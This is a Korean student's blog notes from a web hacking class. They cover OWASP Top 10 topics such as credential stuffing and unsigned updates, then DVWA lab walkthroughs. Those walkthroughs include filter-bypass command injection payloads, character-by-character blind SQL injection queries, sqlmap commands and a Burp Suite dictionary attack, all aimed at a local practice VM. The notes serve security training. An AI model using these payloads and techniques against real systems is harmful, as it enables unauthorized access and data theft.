#OWASP top10 오전 중 마무리
#DVWA실습
7번쨰 오류: 식별 및 인증 오류(원인)
Credential stuffing
1. 여러군데 회원가입을 하다보니 id/pw가 동일하다.
2. 약한 사이트를 해킹(webshell, rat업로드, webdav업로드, sql인젝션 등등)해서 고객db를확보 → id/ pw가 나온다. → 이를 가지고 다른 사이트에 넣어본다.
3. 다른 사이트에 넣어본 결과 (홈플러스 포인트를 마구 쓴다든지, 합친다든지 가능하다. 항공마일리지도 털어서 내부관계자에게 보낼 수 있다. 금융권, 포털, sns 등)
4. 2021년 통계에 의하면 가장 심각한 해킹 유형
대응방법
사이트마다 password를 조금씩 다르게 지정해야 한다. ex) 카톡이 털리면 지인들에게 돈빌려달라는 메시지를 보낸다. → 피싱으로 연결
스마트폰에 패스워드가 저장되어 로그인이 되어있다면 매우 편리하지만 이는 보안의 적이다.
얼마나 정기적으로 교체하는가? → 추석 연휴, 설 연휴
기본 마인드는 “이미 해킹은 당했다” 라고 생각하고 어디 해킹을 당했는지 찾아내는 것이 중요하다. 개인정보는 이미 털렸고 어떻게 이것을 해결할 것인가를 생각해야 한다. (수습)
게임 사이트, sns계정 → 이메일로 본인확인하는 절차 → 이메일이 털리면?본인 확인을 공격자가 함
비밀번호 찾기 프로세스 → 비밀번호 잊어버렸을 때, 비밀번호 바꿔버릴 때 공격자들이 이를 낚아챈다.
SQL인젝션 UPDATE문 → 패스워드로 바뀌거나 패스워드 변경 프로세스로 넘어간다.
원인
취약한 본인 확인 절차(credential stuffing 등)
쉬운 패스워드
패스워드 변경 시도(sql인젝션 등)
특히 포털 사이트(네이버, 다음 등)은 pw를 다른 것으로 사용해야 한다.
금융권은 pw를 다른 것(강력한)으로 사용해야 한다.
한글로 생각하고 영타로 입력하는 방식 → 일부러 맞춤법에 맞지 않게 (외국 사람/ 한국사람이 알 수 없도록 )
ㅁㄴㅇㄹㅎ은 쉬프트를 누르지 않는다.→ 눌러서 사용 등등
해시값의 특징: 원문이 1bit라도 달라지면 다른 해시값이 나온다. 그래서 변조되었는지 알 수 있다.
보안 솔루션의 업데이트 과정에서 악성코드에 감염 → 그 업체가 이미 해킹되어서 해커가 업데이트 파일에 넣었기 떄문
https://www.weeklytoday.com/news/articleView.html?idxno=3010
서명없는 업데이트: 제조사에서 보증을 서는 것으로,
홈라우터: 공유기
셋톱박스: tv
업데이트를 안하는 문제점도 있지만,
윈도우, 스마트폰 → 자동 업데이트 기능 활성화(비교적 안전)
공유기, 셋톱박스, 월 패드 등 펌웨어 업데이트를 거의 하지 않음. → 취약점이 노출되어 있다.
업데이트를 했는데 악성코드에 감염되기도 함
→ 업데이트 파일 제공회사가 털렸기 때문에
→ 얻데이트 파일의 서명이 반드시 필요
compliance를 지키는 비용 < compliance를 지키지 않았을 때의 비용(벌금, 과태료, 집단 민사소송, 해커들의 돈 요구, 기업 이미지 손상) 이러한 것들이 compliance를 지키지 않았을 때의 비용
compliance를 지키는 비용: 컨설팅비용, 아웃소싱 비용, 구입비, 인증심사 비용, 예상치 못한 비용 발생 등등
그래서 보통은 지키지 않았을 때가 지켰을 때보다 2.5배 비용이 더 든다.
ex) 인터파크 해킹사건 과태료 45억 과징금 2500만원
GDPR(유럽의 개인정보보호 규정): 법은 아니지만 EU국가들에게 공통적으로 적용되는 사실상 법과 같은 취급
구글세: 순익은 조작가능하므로(본사에 로열티 과도 지급) 매출 대비 세금을 내라는 법(우리나라만 적용)
로깅과 모니터링 대응 방법
1. 로그를 안보기도 하고 제대로 생기지도 않는다. 그래서 로그를 적절하게 생성되도록 하고, 의심스러운 행위를 파악하는 도구를 설치해서 알려준다. 알람이 매번 울리면 잘 안보기 때문에 중요도에 대한 설정을 한다.
안드로이드는 리눅스를 기반으로 만듦
아이폰의 IOS는 유닉스를 기반으로 만듦
→ 리눅스나 유닉스는 대체로 /var/log 아래에 대부분의 로그가 있다.
→ 스마트폰이 해킹당하는 방법: 악성 앱을 설치하는 경우 또는 링크를 클릭하여 피싱사잍트를 방문하는 경우
SSRF(서버쪽에서 조작된 요청)
→ ACL(접근 통게 목록, Access control list)
<실습>
우분투 DVWA를 킨다.
웹 브라우저를 열고 (IP변경됨 192.168.5.131)
DVWA 문제 풀기
*command injection
리눅스 명령어를 실행시키는 것이 목적(리눅스 명령어: pwd, ls, ls –al, whoami, who, w, ps -ef, cat /etc/passwd 등등)
ping을 실행하는 사이트에서 어떻게하면 리눅스 명령어를 실행할 수 있을까?
게이트웨이 주소
동작방식:
여기다가 리눅스 명령어를 넣는 것이 목적이다. 어떻게 넣으면 될ᄁᆞ? (low단계)
1; ls –all
② 해답
예를 들면, make && make install → make를 끝내고 make install을 하라는 의미
창에는 안보이지만 ($ ping) 192.168.5.2 && pwd : &&는 ping이 끝난 다음에 pwd를 하라는 의미
ip를 안쓰고 &&pwd를 하면 결과가 나오지 않는다. 왜?
→ &&는 앞명령이 끝나야지 뒷 명령을 한다(백그라운드) 앞 명령이 실패하면 뒷 명령은 실행하지 않는다. 그러한 원리
→ 앞에 ($ ping) 192.168.5.2; 소괄호 안에 ping이 현재 실행중일테니 기다렸다가 다시 해본다.
→ ($ping); pwd: 결과가 나온다.
세미콜론의 특징: 앞 명령의 결과가 뒷 명령의 결과에 영향을 주지 않고 별개로 동작한다.
여기다가 리눅스 명령어를 넣는 것이 목적이다. 어떻게 넣으면 될ᄁᆞ? (medium단계)
조건: &&와 ; 는 null로 치환한다 (치환은 좋은 방식이 아니다.)
192.168.5.2 | whoami
앞에는 ping을 한 결과가 나오고, 파이프를 사용하면 앞이 조건이 되고 뒤는 명령문, 앞에 조건에 따라서 뒷 명령을 하라. ping 192.168.5.2는 조건으로서, 뒤에 있는 whoami에 영향을 주지 않는다. 그래서 whoami결과만 나오게 된다. 그러면 앞에 ip를 넣지않고 whoami를 한다면?
그래도 결과는 같이 나온다. 왜냐하면 앞에 조건이 ping이 제대로 이루어지지 않았지만 영향을 주지 않는다.
192.168.5.2 &&& ls –l // &&는 null로 치환되고 & 하나만 남음. → &는 앞 뒤 명령이 ᄄᆞ로 따로 실행됨. 별도로 영향을 주지 않고 실행되다 보니 ping친 결과 사이에 ls –l 이 섞여서 나옴.
&&& ls –l
&&& ls –l /usr/share
&&& ls –l /var/log
&&& ls –l /var/log/apt #&&를 Null로 치환하고도 실행되기 때문에 &를 하나만 사용 해도 정상동작을 한다.
compare all levels 를 누르면 레벨별로 injection을 볼 수 있다.
192.168.5.2 || w 는 실행이 되지 않는다. ping결과만 나오고 w결과는 나오지 않는다. 왜?
→ || 두 개는 ‘또는’이라는 의미로 앞 명령이 참이면 뒷 명령은 할 필요가 없다. 참 or 거짓을 해도 참이고, 참 or 참을 해도 참이다. 앞에 참이면 뒤에 명령을 실행하지 않는다. (참 or 거짓/ 참)
→ 그러면 앞 명령을 거짓으로 만들면 된다.결과: || w
여기다가 리눅스 명령어를 넣는 것이 목적이다. 어떻게 넣으면 될ᄁᆞ? (high단계)
치환 방법은 딱 한 번만 적용되고 통과됨 <scr<script>ipt> → <script>를 Null로 치환 → <script> 남음
|| whoami 또는 |whoami
파이프가 보이니 null로 치환하고 지나간다. 그래서 | whoami
치환을 못하게 해야한다.
|| whoami → | whoami // |와 공백이 묶여서 치환되고 있음.
|pwd → | 뒤에 명령어를 붙여쓰면 치환을 못함.
|||pwd → 세 개를 사용하면 두 개는 치환을 한다. 그래서 띄어쓰기 없이 붙여써야한다.
||||pwd → pwd가 바로 ping뒤에 붙는다. 앞에 두 개가 null로 치환되어서 ping pwd 가 되어 실행이 안된다. (파이프 두 개는 null로 되고, ||가 nill로 된다.)
|||| pwd → || null, | 공백 도 null로 치환된다 그래서 | 한 개만 남아서 결과가 동작하게 된다.
개발자 도구에서 high → low로 바꾸는 경우
치환은 좋지 않다. 왜냐하면 우회방법이 많아서 이는 좋은 방법이 아니다.
&;&;&;& pwd 도 불가능하다. medium에서는 통하지만 high는 통하지 않는다.
command injection
iot기기들에서 주로 많이 발생
iot기기: ip카메라, cctv, 웹 캠, 라즈베리파이, ip공유기, 스마트tv, wallpad, 스마트워치, 스마트.* 등등 → 인터넷 연결
iot의 운영체제: 리눅스를 customized한 필요한 부분만 최소화해서 사용
그러다 보니 원격에서 리눅스 명령을 사용하면 원격 조종이 된다. (RCE: remote command execution, 원격 명령 실행)
일반적인 리눅스 서버에만 국한된 것이 아니라, 스마트 기기에도 해당한다. Mirai Malware도 해당
- 미라이 악성코드(Mirai Malware)란? 악성코드를 만든 사람이 좋아하는 만화 캐릭터 주인공에서 따온 것으로 악성코드 안에 미라이라는 글자가 많다. 이는 ddos를 유발하는데, iot를 감염시킨다. (2015년 2016년 사이에 발생)
Blind SQL인젝션 실습
SQL에 대해서 잘 모르는 상태에서 뭔가를 DB명, 테이블명, 컬럼명 등을 알아내려는 시도를 하는 것
id가 있는지 없는지만 알려준다. (exist여부)
- 사번(번호)를 넣으면 있는 경우에는 exist, 없으면 missing으로 표시되고 있다. DB, 테이블, 컬럼명을 어떻게 알아낼 수 있을ᄁᆞ요?
- substring(): 단어의 알파벳에 대한 정보를 확인할 수 있음. 알파벳이 뭘로 시작하냐?
- information_schema.columns (DB명.테이블명)에서 table_schema(DB이름을 저장한 컬럼명)
MYSQL에 들어가서 어떻게 되어있는지 확인해보자
// colums라는 테이블의 구조 보기
// columns테이블 안에 table_schema가 있다. 여기에 DB에 대한 정보가 들어있다.
table_schema라는 컬럼이 있는데, table_schema에는 DB이름들이 있다.
보고싶은 것만 본다. (disticnt)
columns테이블에서 table_schema의 내용을 보고 싶다.
// 내용이 너무 많음
// 보고 싶은 내용들만 보기 위해서 distinct를 넣어줌
→ 결과는 DB이름들을 모두 볼 수 있는데, 여기서 불필요한 것은 information_schema와 관련된 것들을 볼 필요가 없다. 이들은 메타값들이니까 메타값 말고 일반 사용자가 만든 것을 찾아야한다. 즉, 사용자가 만든 일반 DB를 찾아야 한다. (쇼핑몰을 운영한다고 하면 고객정보가 필요한거지 그 외의 정보가 필요하지는 않듯이...)
EX) 나쁜해커인데, 고객 DB를 훔치려고 한다. db는 사용자가 만들었을거 아냐,DB이름을 알아야하는데, db에 대한 정보는 information_schema에 있겠지만, 우리가 뺏으려는 고객 DB이름을 알아야하는데, 이는 information_schema가 아닌 다른 이름을 가지고 있을 것이다. MYSQL db, SYS, performance는 기본으로 들어있는 DB이다. 여기서 고객 정보는 DVWA이다.
그래서 만약에 informmation_schema에 들어간 내용들은 볼 필요가 없다.
select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1
//Limit 0,1 → 0부터 시작하므로 첫 번째 행부터 1개
substring(superman, 1,1) = s // 1번부터 1개
substring(superman, 3,1) = p // 3번쨰 글자부터 1개
substring(superman, 5,2) = rm //
풀이 방법
1단계)
1.
2. 1‘ and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),1,1)=’d‘ #
→ exist(맞다곶 함): 따라서 첫 번쨰 글자는 d임.
3. 두 번째 글자를 알아내려면?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 2,1) = 'v' #
4. 세 번쨰 글자를 알아내려면?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 3,1) = 'w' #
5. 네 번째 글자를 알아내려면?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 4,1) = 'a' #
6. 한 꺼번에 물어보려면?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,4) = 'dvwa' #
→ 이렇게 함으로서 dvwa라는 DB명을 알 수 있음.
#1‘을 넣은 이유는 참, 거짓을 의미하는 것, 2부터 아무 숫자나 넣어도 됨.
2단계) Table이름을 알아내려면?
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 0,1), 1,1) = 'g' #
→ g가 맞는가?
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 0,1), 2,1) = 'u' #
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 0,1), 3,1) = 'e' #
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 0,1), 4,1) = 's' #
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 0,1), 5,1) = 't' #
...............
→ guestbook이 나온다. // 방명록 말고, 우리가 찾는 것은 고객정보가 들어있는 테이블!!
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,2), 1,1) = 'u' #
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,2), 2,1) = 's' #
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,2), 3,1) = 'e' #
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,2), 4,1) = 'r' #
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,2), 5,1) = 's' #
→ 두 번쨰 줄을 찾으려면?
첫 번쨰 줄은 guestbook이므로 두 번쨰 줄을 찾아보기 위해 limit 1,1(두 번쨰 행부터 1줄)에서 찾아보록 한다.
한꺼번에 확인하려면?
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' limit 1,2), 1,5) = 'users' #
limit 0,1/ limist 1,1이 guestbook, users가 된다.
3단계) 컬럼명을 알아내려면?
컬럼이름을 알아내는 SELECT문을 참고해서 어떤 컬럼이 있는지 알아보자(6번째, 5번쨰 컬럼이 중요)
limit 0,1/ 1,1/ 2,1/ ... (알파벳 순서대로)
1' and substring((select column_name from information_schema.columns where table_name=’users' limit 5,1),1,1) = 'p' #
1' and substring((select column_name from information_schema.columns where table_name=’users' limit 5,1),1,8) = 'password' #
→ 6번째가 password
1' and substring((select column_name from information_schema.columns where table_name=’users' limit 6,1),1,1) = 'u' #
1' and substring((select column_name from information_schema.columns where table_name=’users' limit 6,1),1,4) = 'users' #
→ 7번쨰가 user
자동화된 도구를 사용(사람이 일일이 물어보기 귀찮음...)
실습준비) 칼리리눅스
sql을 지도처럼 사용하는
<자주 사용하는 옵션>
--cookie: 쿠키값을 입력할떄
-u: url을 사용할 때
-h: help를 의미한다.
--tables: 테이블 목록을 알고 싶을 때
--columns: 컬럼 목록을 알고 싶을떄
--dump : 메모리에서 값을 확인할 때
-d 데이터베이스명:
-t 테이블명:
-C 컬럼명:
SQLmap문법: sqlmap –u ‘URL’ --cookie=“쿠키값”
url과 쿠키값을 알아내야 한다.
url을 알아내는 방법 → dvwa → sql injection(blind)에서 주소표시줄에 있는 url을 복사한다.: http://192.168.5.131/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit
쿠키값은 주소 표시줄에 javascript:document.cookie: security=low; PHPSESSID=01fam7avaubpisdllt3p9jlebn(쿠키값)
복사해서 메모장에 붙여 넣는다.
$sudo sqlmap –u “http://192.168.5.131/dvwa/vulnerabilities/sqli/?id=7&Submit=Submit“ --cookie=”security=low; PHPSESSID=01fam7avaubpisdllt3p9jlebn” --dbs
(오른쪽 누르고 paste clip board 또는 ctrl + shift + v)
실행안된다...ㅠㅠ(다시해보기)
(뭘 물어보면 대문자인 것을 선택!)
2) 테이블 이름 알아내기
sudo sqlmap –u “http://192.168.5.131/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit“ --cookie ”security=low; PHPSESSID=01fam7avaubpisdllt3p9jlebn” -D dvwa —tables
3) 컬럼 이름 알아내기
sudo sqlmap –u http://192.168.5.131/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#“ --cookie ”security=low; PHPSESSID=01fam7avaubpisdllt3p9jlebn” -D dvwa –T users --columns
!!!4시부터 실행안됐으니 이 부분 다시 보기!!!
Brute force attack 실습
- brute(무식한, 야수의, 머리를 사용하지 않고 힘만 이용하는)
- 전수대입법: 가능한 모든 경우의 수를 대입한다는 의미
장점: 언젠가는 결과가 나오기는 함 (성공확률: 99%) 패스워드를 이미 넣어던 것으로 바꾸면 못맞춘다. brute force를 하는 도중 패스워드 변경하면 못맞춘다. 그래서 1퍼센트 뺀다.
단점: 시간이 너무 오래 걸린다. 그러면 대응방법은?
대응방법: 시간이 완전히 오래걸리게 하면 된다. (예를 들어, 인간의 수명보다 길면 못꺠는 것)
→ 비밀번호를 길고 복잡하게 만들기(14자리, 대/ 소/ 숫/ 특수문자 섞어서)
여기다가 비밀번호를 넣어보도록 한다.
200나노세컨드 걸림
내 비번 푸는데 100년 걸린다고 함.
최소 12자리 이상, 한 자리만 늘려도 단위가 달라진다.
#여기서부터 다시보기
dictinary attack
→브루트 폴스가 너무 시간이 오래 걸리니ᄁᆞ, 자주 사용하는 패스워드를 대입하는 방법
→ 자주 사용하는 단어를 모아놓은 파일을 dictionary라고 한다.
dvwa에 proxy를 걸고, burp suite를 켠다.
pablo/ abcde를 넣는다. →틀렷다고함.
burp suite > http history클릭
get요청에 오른쪽 마우스 클릭> send to intruder클릭
burp suite의 맨 위에서 두 번째 라인의 intruder메뉴를 클릭
position 탭에서 password의 입력값인 abcde만 남기고 나머지는 블록설정하고 clear클릭
paylods탭에서 simplelist방식, load버튼 클릭해서 password.txt파일 선택, start attack클릭
진ᄍᆞ 패스워드 찾는 방법
틀리면: ‘틀렸습니다’ → 길이가 모두 같음
맞으면:“정답입니다.” → 아닙니다와 길이가 다르다. 길이는 웹 서버에서 응답을 주는 길이가 달라진다는 의미임. (length 눌러서 sort해보기)
자동으로 중지 안되니까 강제로 종료해야 한다. discard선택
로그인해보기
id; pablo
password: letmein
'보안 > 웹 보안' 카테고리의 다른 글
0905 웹해킹 2일차(Application Security) (1) | 2022.09.19 |
---|---|
0914 웹해킹 7일차(Application Security) → 다시 볼 것 (0) | 2022.09.14 |
0907 웹해킹 5일차(Application Security) (0) | 2022.09.08 |
0907 웹해킹 4일차(Application Security) → 다시 볼 것 (1) | 2022.09.07 |
0906 웹해킹 3일차(Application Security) (0) | 2022.09.06 |